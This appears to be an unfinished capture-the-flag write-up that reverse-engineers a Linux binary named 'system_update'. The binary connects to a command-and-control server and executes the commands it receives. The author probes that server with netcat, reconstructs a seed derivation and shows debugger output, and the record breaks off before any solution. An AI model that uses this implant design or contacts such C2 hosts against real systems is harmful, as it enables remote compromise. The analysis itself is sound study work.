The Chronicles of Greg (Not Solved, Raw Thoughts)
[★★☆] SystemUpdate incident report
Description
Greg didn’t ask for this. Greg wanted a quiet Friday, maybe a donut, and ideally no malware. But no. Instead, Greg found logs—weird logs. And when Greg sees weird logs, Greg investigates. This is Greg’s story.
############
Analyst Log – 09:14 AM: "They called it a 'low-priority anomaly.' Said it was probably nothing. That’s what they always say before things explode". I ran strings on the file—didn’t like what I saw. Not an update. Not even ransomware. Just… vibes. Binary vibes. They’ve named it internally ‘SystemUpdate.’ I don’t know why. No update was done. I’m not even sure if this is about system update anymore.
############
Solution
➜ file .\system_update
.\system_update: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b25880769b4dc53f70bfd0c86b8f7e567c843205, for GNU/Linux 3.2.0, stripped
Open in your favorite decompiler, like https://dogbolt.org/?id=2e418362-371e-406e-b061-880225a99210#Ghidra=1124&Hex-Rays=722
FUN_00102070
seems to be the main
function, mainly because of args that follow int argc, char* argv
pattern.

FUN_00101e70
function is used to get command from user and then execute it via system
call.

After some scrolling we see FUN_00101f50
function, which seems to be making C2 connection to server and most probably passing the COMMAND here:

Smth like:
# Create a socket (IPv4, TCP)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# IP and port to connect to
ip_address = "195.168.112.4"
port = 7052 # 0x1B8C
Server seems to receive the connection:
➜ nc -zv 195.168.112.4 7052
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Connected to 195.168.112.4:7052.
Ncat: 0 bytes sent, 0 bytes received in 0.10 seconds.
Not so simple
➜ echo whoami | nc 195.168.112.4 7052
COMMAND: apt update
➜ echo what | nc 195.168.112.4 7052
COMMAND: apt update
➜ echo 'apt update' | nc 195.168.112.4 7052
COMMAND: apt update
Re-analyze the program:
Send data to C2 server
Get data from C2 server
Parse COMMAND and store only what's after
COMMAND:
If found, execute and finish
Else make call to
FUN_00101d20
(encryption funky stuff)Encryption requires seed
__seed = get_seed("/lib/x86_64-linux-gnu/libc.so.6");
:

If
/lib/x86_64-linux-gnu/libc.so.6
is not found then it's current timestampIf it's found then it's the mangled version number.
For me it would be following:
└─$ strings /lib/x86_64-linux-gnu/libc.so.6 | grep 'release version' -n
17597:GNU C Library (Debian GLIBC 2.40-2) stable release version 2.40.
major, minor = 2, 40
val = (major << 16) | (minor << 8) | (major ^ minor)
val = (val ^ (val >> 13)) * 0x5bd1e995
seed = (val ^ (val >> 15)) & 0xFFFFFFFF
print(seed) # 1160351555
The decryption function looks like following~

To make decryption work we first need valid response from a server which doesn't start with COMMAND:

The entry function is also not very clear. send

Assumption that program starts with read
was wrong, it starts by connecting to C2
└─$ ltrace -f ./system_update
[pid 53497] --- SIGSEGV (Segmentation fault) ---
[pid 53497] +++ killed by SIGSEGV +++
└─$ ltrace -f ./system_update 1
[pid 53508] socket(2, 1, 0) = 3
[pid 53508] inet_pton(2, 0x55d7d15af033, 0x7ffe3dd5b7e4, 0x7f59a7f1e877) = 1
[pid 53508] connect(3, 0x7ffe3dd5b7e0, 16, 4) = 0
[pid 53508] +++ exited (status 0) +++
There's a comparison which seems to block further execution of code. argv[1]
needs to be correct value.

Left value is controlled by our input, right doesn't change. [0xF9, 0xFF, 0x8F, 0xE0, 0xEA, 0xC6, 0xFE, 0x2A, 0xCC, 0x9D, 0xE6, 0x9A, 0x92, 0xD3, 0xC4, 0xCB]

For IDC you can set breakpoint and then run these to show value comparison
auto i, b1, b2;
for (i = 0; i < 16; i++)
{
b1 = Byte(0x555555559220 + i);
b2 = Byte(0x5555555590F0 + i);
msg("[%d] %02X vs %02X\n", i, b1, b2);
}
Last updated